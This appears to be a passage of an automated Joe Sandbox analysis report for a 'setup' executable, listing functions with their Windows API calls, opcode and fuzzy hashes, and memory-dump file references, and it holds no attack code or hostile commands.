Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: d81758f88c0b9bcc9bac99c6b48f5d1c8a19d28744411a9628d4d8d68acad20b
Instruction ID: 4c908a4c09f89e4036e159b436c2450400767f13f4ae557e83ce0f6dec072cdf
Opcode Fuzzy Hash: d81758f88c0b9bcc9bac99c6b48f5d1c8a19d28744411a9628d4d8d68acad20b
Instruction Fuzzy Hash: ED01E9722052059B8F04CE5DAC9496BBB99BFC1321714853FE81687280C63CAC059629

Function 00499E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00499E76
GetLastError.KERNEL32 ref: 00499E82

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: a76e6d561cc600ae8ad0a60adfe1c1067d79c752aac60f82a8ae5c60986dce42
Instruction ID: cb72247f0c1241f00d2871110a52c5f4bc18cca1348350da6bc67d9b763bef92
Opcode Fuzzy Hash: a76e6d561cc600ae8ad0a60adfe1c1067d79c752aac60f82a8ae5c60986dce42
Instruction Fuzzy Hash: 60019E727052005FEF34DE2ADC48B6BBAD99B88319F14893FB146C36C4DB79EC488619

Function 004B8606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004B8627

Part of subcall function 004B8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BC13D,00000000,?,004B67E2,?,00000008,?,004B89AD,?,?,?), ref: 004B854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,004D0F50,0049CE57,?,?,?,?,?,?), ref: 004B8663

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 8125e658443493bcf7d95f75e146f18460db01254afaedf3f640dca101eaf19e
Instruction ID: 842598a1f2eeb06ddc4c0c8e06285a73487e46497e6ae73cb5a2f7a402f5d599
Opcode Fuzzy Hash: 8125e658443493bcf7d95f75e146f18460db01254afaedf3f640dca101eaf19e
Instruction Fuzzy Hash: 22F06231101115A6DB212A2AAC01FEF375C9FE17A4F28412FF81496291DE3CC802D5BD

Function 004A0908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 004A0915
GetProcessAffinityMask.KERNEL32(00000000), ref: 004A091C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 4b0fa4e5cd0f970be83a57f7ae51b24e4bd8fe4e06a4ad431e6595e3c817736e
Instruction ID: 5edfdf16e5373a3e014c19bbcd42e5aa86793cd77925a89e07f3d11391f7f789
Opcode Fuzzy Hash: 4b0fa4e5cd0f970be83a57f7ae51b24e4bd8fe4e06a4ad431e6595e3c817736e
Instruction Fuzzy Hash: 37E092B3A10109AB6F09DAA59C048FB739DEB2A315720817BA807D3201F939DE0186A9

Function 0049A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0049A27A,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0049A27A,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A489

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5ef547187ee5908b83c93152945420148b81715a8afbed29d1570d1a53140e59
Instruction ID: 925c9298c1072922776a55419cdf18f5c2dfa2e0182a70f02f32b5f154f9dbd2
Opcode Fuzzy Hash: 5ef547187ee5908b83c93152945420148b81715a8afbed29d1570d1a53140e59
Instruction Fuzzy Hash: 59F0A73124020DBBDF019F61DC05FDA3B6CBB05785F048066BC4886161DB769DA4AB98

Function 004AD573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 004AD5A1
SetDlgItemTextW.USER32(00000065,?), ref: 004AD5B8

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 7b1b1fd4b04f76ffa00cdaf24b1ab6c63c520a2ea27c3275514db05837b819bc
Instruction ID: 1954f780fa4e89001646ed2f9a81bb4e331b36ad91b9fd3f018d06fde285b2da
Opcode Fuzzy Hash: 7b1b1fd4b04f76ffa00cdaf24b1ab6c63c520a2ea27c3275514db05837b819bc
Instruction Fuzzy Hash: 09F05C71D003487AEF11ABB1CC06FAE3B5CA706749F000ABBB601530A1DA796A20876A

Function 0049A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,0049984C,?,?,00499688,?,?,?,?,004C1FA1,000000FF), ref: 0049A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,0049984C,?,?,00499688,?,?,?,?,004C1FA1,000000FF), ref: 0049A16C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: da00d0fe9f9772f1382427b43c8fafade9be88cc1f4c46ab82fcedf7950f3e07
Instruction ID: b18990dfa333e00e2ebb87af15583bfcc4a5c85bd4d6c27314d4edea2bd66525
Opcode Fuzzy Hash: da00d0fe9f9772f1382427b43c8fafade9be88cc1f4c46ab82fcedf7950f3e07
Instruction Fuzzy Hash: 09E09B3554020867DF119F61DC41FEA779CBB04382F444076BC84C3154DB669D949A99

Function 004AA39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,004C1FA1,000000FF), ref: 004AA3D1
CoUninitialize.COMBASE(?,?,?,?,004C1FA1,000000FF), ref: 004AA3D6

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 409c070bc080e54d1a703f8739d44ed402e4d56ff7b35524b56a64ec6c8d686c
Instruction ID: 541672928c357ce82da95750128ebfe49ddf39e53a0d9030cecb325595744aac
Opcode Fuzzy Hash: 409c070bc080e54d1a703f8739d44ed402e4d56ff7b35524b56a64ec6c8d686c
Instruction Fuzzy Hash: 09F03972658654EFCB109B4DDD05B59FBA8FB8AB20F0443AAF41983760CB786810CA99

Function 0049A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0049A189,?,004976B2,?,?,?,?), ref: 0049A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0049A189,?,004976B2,?,?,?,?), ref: 0049A1D1

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2cff6b1a21c9ae00035633680d22d34439d87e305474489efc7ff6fd5da808d4
Instruction ID: 4dee9224f0c6c7d9b614987af7077055a588d906117346b1c948fa917d466b8e
Opcode Fuzzy Hash: 2cff6b1a21c9ae00035633680d22d34439d87e305474489efc7ff6fd5da808d4
Instruction Fuzzy Hash: DAE06D365001289BCF20AA699C05BDABB68AB093A2F0042B3BD54E3294D6759D549AE9

Function 004A0085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A00A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049EB86,Crypt32.dll,00000000,0049EC0A,?,?,0049EBEC,?,?,?), ref: 004A00C2

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 865a429149bfc4dc673897e125193ac7cb588193432226a2c36b908b8d9c80d0
Instruction ID: 7d8405cce992d5f2d3aacb09ed79458ba7fb8b1a7b29ee3318f396830c405479
Opcode Fuzzy Hash: 865a429149bfc4dc673897e125193ac7cb588193432226a2c36b908b8d9c80d0
Instruction Fuzzy Hash: A7E0127691111CAADB619AA5AC09FD777ACEF19382F0440B6B948D3104DA749A448BE8

Function 004A9B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 004A9B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 004A9B37

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: c9ba6be3d32678e5d0e2aa624ed7d6ceab73b81f89a0899242c124cc558a44a8
Instruction ID: 7e8b483f73716f8b0521be88ed99279eed9bc2c73698fd49917dbad31ea65e80
Opcode Fuzzy Hash: c9ba6be3d32678e5d0e2aa624ed7d6ceab73b81f89a0899242c124cc558a44a8
Instruction Fuzzy Hash: 80E0ED72901218EBCB50DF99D501BDAB7F8EB15321F10809FE89593701D7796E049BA5

Function 004B215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 004B329A: try_get_function.LIBVCRUNTIME ref: 004B32AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004B217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 004B2185

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 8f363d5bd9351a612ee6c7a375ee1ee5d2644da2532be003902bb26f5f15b667
Instruction ID: 5b299115539ef51147441b263f6f32114a19c61795442cb23a94a4f64f4b1dd0
Opcode Fuzzy Hash: 8f363d5bd9351a612ee6c7a375ee1ee5d2644da2532be003902bb26f5f15b667
Instruction Fuzzy Hash: A5D0A7642043052428582ABE2A425EA23845962B793F0075BE720891E1EE9C4002613D

Function 004ADC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 004ADC73
DloadProtectSection.DELAYIMP ref: 004ADC8F

Part of subcall function 004ADE67: DloadObtainSection.DELAYIMP ref: 004ADE77

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: bb1a0bb4585dd4dfd0b0cf22139e0dfba8e931c3f7c7f5dc345a9f1fb95d025b
Instruction ID: 3e9805a9c12245c8c8969d04ae322a7d4d74508409ef1399d3483f67b6d41d41
Opcode Fuzzy Hash: bb1a0bb4585dd4dfd0b0cf22139e0dfba8e931c3f7c7f5dc345a9f1fb95d025b
Instruction Fuzzy Hash: 4AD0C9709002815AD219EB149D4672E2270B766798FA40617F20786AAADFAC4491C64E

Function 004912E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004912FB
ShowWindow.USER32(00000000), ref: 00491302

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 92175fc619d43a0686a39ee6a0b565de14ddde0a7245ae8a25cb465d0c5238f6
Instruction ID: d355887ac0d2c26f2e2cd3440e199faf4709b944a3feec180a15dfcfb940b863
Opcode Fuzzy Hash: 92175fc619d43a0686a39ee6a0b565de14ddde0a7245ae8a25cb465d0c5238f6
Instruction Fuzzy Hash: C9C01232058200BECB010BB0DE09D3FBFA8ABA4212F05C928B2A5C0060C238C920DB19

Function 004919A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004919AB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 95e9f9856d3bbb17b6630491f39785efd06a26a42512581d5d586ff19569d21c
Instruction ID: 351c9402f4d16caf16137dd85b90b5000d93217f57248f988f0819f47caaf667
Opcode Fuzzy Hash: 95e9f9856d3bbb17b6630491f39785efd06a26a42512581d5d586ff19569d21c
Instruction Fuzzy Hash: 29C1A474A042459FEF15CF68C484BAA7FA5AF06314F0840BBDC45DF3A6CB39A944CB69

Function 00493B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00493B42

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e21b941ef717751916429a9ad20328ae4014e012f335fe74f2d62d43a9d9e5e0
Instruction ID: 02a74c1411e1cff9bfa6a5660e63d6344a8501bbfc409937e66f3b05406274d8
Opcode Fuzzy Hash: e21b941ef717751916429a9ad20328ae4014e012f335fe74f2d62d43a9d9e5e0
Instruction Fuzzy Hash: E071CF71100F449EDF21DF34CC51AEBBBE8AB16306F44496FE5AB47242DA396A48CF15

Function 0049837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00498384

Part of subcall function 00491380: __EH_prolog.LIBCMT ref: 00491385
Part of subcall function 00491380: new.LIBCMT ref: 004913FE

Part of subcall function 004919A6: __EH_prolog.LIBCMT ref: 004919AB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2c538f7f0116226dbd29448f14dfd5b232827188cf2f4294272a9986ce135649
Instruction ID: c12c3c0ec780752a63f212a7aee7feb8eadb766a57814c90a8db13d3188e6b2c
Opcode Fuzzy Hash: 2c538f7f0116226dbd29448f14dfd5b232827188cf2f4294272a9986ce135649
Instruction Fuzzy Hash: D541D2318406549ADF20DB65C855BEA7BA8AF51308F0440FFE58A93193EF7C6EC8DB58

Function 00491E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00491E05

Part of subcall function 00493B3D: __EH_prolog.LIBCMT ref: 00493B42

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: efd7ae7a6b4ce554c62c12b0934a7a10c1464760ff84c1c5112e56c7f5532bd6
Instruction ID: e637d0d05b0e7204341c969ea8bf7287497ff1c45ccb886c49458bbded0ead5b
Opcode Fuzzy Hash: efd7ae7a6b4ce554c62c12b0934a7a10c1464760ff84c1c5112e56c7f5532bd6
Instruction Fuzzy Hash: 88214B729041099FCF11EF9AD9519EEFBF5BF59304F1004AEE845A7261CB365E10CB68

Function 004AA7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AA7C8

Part of subcall function 00491380: __EH_prolog.LIBCMT ref: 00491385
Part of subcall function 00491380: new.LIBCMT ref: 004913FE

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 08400e5b3d41e432230df8345086a0c0d6761cd3e9acd16d8f488bef03a45dba
Instruction ID: 2bff08f007e53544b047c2edc8a3a35830e9ab4b7ea571db088afb389c2927aa
